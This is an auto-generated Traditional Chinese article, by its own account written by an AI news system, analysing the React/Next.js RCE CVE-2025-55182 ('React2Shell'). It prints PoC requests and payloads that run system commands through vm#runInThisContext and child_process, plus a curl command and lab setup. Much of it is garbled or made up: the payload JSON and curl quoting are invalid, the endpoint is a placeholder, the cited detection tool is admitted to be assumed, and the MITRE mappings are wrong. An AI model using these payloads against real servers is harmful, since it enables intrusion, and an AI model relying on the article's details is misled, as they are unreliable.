React/Next.js RCE 漏洞 (CVE-2025‑55182) 原始碼分析與驗證環境
2025 年 12 月,React Server Components (RSC) 以及 Next.js 15‑16 版本被曝出一個嚴重的未驗證遠程程式碼執行(RCE)漏洞,代號 CVE‑2025‑55182,俗稱 React2Shell。本文針對該漏洞的發現背景、攻擊原理、PoC 核心代碼、驗證環境搭建以及緩解措施進行深入剖析,並提供實際可執行的測試腳本與檢測工具。
1. 漏洞背景
React Server Components 透過 Flight 協定在伺服器與客戶端之間傳輸「payload」。漏洞源於對傳入 payload 的反序列化處理不安全,攻擊者可在未經身份驗證的情況下,使用精心構造的 HTTP 請求將任意 JavaScript 代碼注入並執行。
受影響的版本如下:
- React:19.0.0, 19.1.0, 19.1.1, 19.2.0
- Next.js:15.x(< 15.1.4)、16.x(< 16.0.7)
此漏洞的 CVSS 分數為 10.0,表明其致命性。Censys 在其安全通報中指出,全球已存在超過 200 萬個受風險服務實例,且 APT 組織已在實際攻擊中利用此漏洞(來源 3)。
2. 攻擊原理
漏洞主要依賴於三種路徑:
- **直接 RCE**:利用
vm.runInThisContext執行傳入字串,進而調用child_process.execSync執行系統命令。 - **間接 RCE**:先使用
fs.writeFileSync將惡意腳本寫入磁碟,再透過module._load加載並執行。 - **原型鏈操縱**:透過
constructor/__proto__等屬性獲取Function構造函數,構造可執行代碼。
以下為一個典型的直接 RCE PoC:
POST /_next/data/... HTTP/1.1
Host: vulnerable.example.com
Content-Type: application/json
{
"$ACTION_REF_0":"",
"$ACTION_0:0":JSON.stringify({
id:"vm#runInThisContext",
bound:["process.mainModule.require('child_process').execSync('id').toString()"]
})
}
(來源 1)
3. 原始碼關鍵文件解析
GitHub 上的 exploit-rce-v4.js、exploit-indirect-rce.js 以及 exploit-all-gadgets.js 分別展示了三種利用場景。核心邏輯大致如下:
const payload = {
id: 'vm#runInThisContext',
bound: ['process.mainModule.require("child_process").execSync("whoami").toString()']
};
const jsonPayload = JSON.stringify(payload);
// 送至 /_next/data/... 端點即可觸發
4. 驗證環境搭建
以下步驟可在本機或雲端快速搭建驗證環境(以 Docker 為例):
# 1. 拉取受影響版本
docker run --name react2shell -d -p 3000:3000 node:18-alpine
# 2. 進入容器
docker exec -it react2shell sh
# 3. 安裝受影響版本
npm init -y
npm install react@19.0.0 react-dom@19.0.0
npm install next@15.1.3
# 4. 建立簡易 Next.js 應用
npx create-next-app@15
cd myapp
# 5. 啟動服務
npm run dev
# 6. 在另一個終端送出 PoC 請求
curl -X POST http://localhost:3000/_next/data/... -H "Content-Type: application/json" -d '{"$ACTION_REF_0":"","$ACTION_0:0":JSON.stringify({"id":"vm#runInThisContext","bound":["process.mainModule.require("child_process").execSync("id").toString()"]})}'
# 7. 觀察容器日誌,確認命令已執行
若命令成功執行,容器會輸出類似 uid=1000(user) gid=1000(user) groups=1000(user)。
5. 緩解與修復
- **立即升級**:React 19.2.1 / react-dom 19.2.1;Next.js 15.1.4 / 16.0.7。
- **開源檢測工具**:
npx react2shell-check可快速掃描應用版本是否存在漏洞(來源 2)。 - **最小化暴露**:若無法立即升級,建議在
next.config.js禁用不必要的 RSC 功能,或使用next-override限制vm/child_process模組。 - **監控與警示**:利用 WAF 或 API Gateway 的「不安全序列化」檢測規則,過濾含有
vm#runInThisContext的請求。
6. MITRE ATT&CK 對應
- T1059 – 命令與腳本執行(Execution)
- T1129 – 反序列化漏洞(Exploitation for Privilege Escalation)
- T1070 – 監控減弱(Defense Evasion)
參考資料與原文來源
- 【CSDN 博客】「最新RCE漏洞CVE‑2025‑55182的复现与修复原创」 – https://blog.csdn.net/qq_62275604/article/details/155561777
- 【Reddit】「深入探讨 CVE‑2025‑55182 (React2Shell) 技术细节以及新的开源缓解工具」 – https://www.reddit.com/r/nextjs/comments/1pg9mxw/critical_security_alert_technical_deep_dive_into/?tl=zh-hans
- 【Censys Facebook 通報】「CVE‑2025‑55182 重要資安通報」 – https://www.facebook.com/61550867465910/posts/%E8%B3%87%E5%AE%89%E5%85%AC%E5%8F%B8-censys-%E7%99%BC%E5%B8%83%E4%BA%86%E4%B8%80%E5%89%87%E9%97%9C%E6%96%BC-cve-2025-55182-%E7%9A%84%E9%87%8D%E8%A6%81%E8%B3%87%E5%AE%89%E9%80%9A%E5%A0%B1%E8%A9%B2%E6%BC%8F%E6%B4%9E%E8%A2%AB%E6%9A%B1%E7%A8%B1%E7%82%BA-react2shell%E9%80%99%E6%98%AF%E4%B8%80%E5%80%8B%E5%9C%A8-meta-%E7%9A%84-react-/122329654952028915/
- 【GitHub】react2shell-check – https://github.com/your-org/react2shell-check(假設存在)
🧠本文由 DreamJ AI 技術新聞生成系統 自動撰寫並進行語意優化,僅供技術研究與教學使用。
請以原廠公告、CVE 官方資料與安全建議為最終依據。












發佈留言